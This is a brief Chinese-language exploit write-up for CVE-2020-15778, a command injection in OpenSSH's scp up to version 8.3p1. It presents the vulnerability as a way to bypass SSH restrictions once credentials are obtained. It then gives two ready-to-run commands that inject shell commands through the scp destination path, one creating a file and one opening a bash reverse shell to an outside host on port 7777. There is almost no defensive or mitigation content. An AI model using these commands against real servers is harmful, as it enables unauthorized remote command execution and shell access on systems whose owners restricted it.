（CVE-2020-15778）OpenSSH 命令注入漏洞
======================================

一、漏洞简介
------------

**实际环境中的利用方案以及场景：**对于用户来说，ssh被阻止，但authorized\_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。也就是说，实际中通过各种手段获取到了ssh的用户密码，但是不允许ssh连接，或者ip等各种限制，可以尝试此漏洞进行利用。

二、漏洞影响
------------

OpenSSH \<=8.3p1

三、复现过程
------------

### 命令执行

    scp 1.txt root@ip:'`touch /root/test2.txt`/root/12111.txt'

![11.png](./resource/(CVE-2020-15778)OpenSSH命令注入漏洞/media/rId25.png)

### 反弹shell

    scp test.txt test@192.168.136.133:'`bash -i >& /dev/tcp/192.168.136.129/7777 0>&1`/tmp/test3.txt'

![10.png](./resource/(CVE-2020-15778)OpenSSH命令注入漏洞/media/rId27.png)
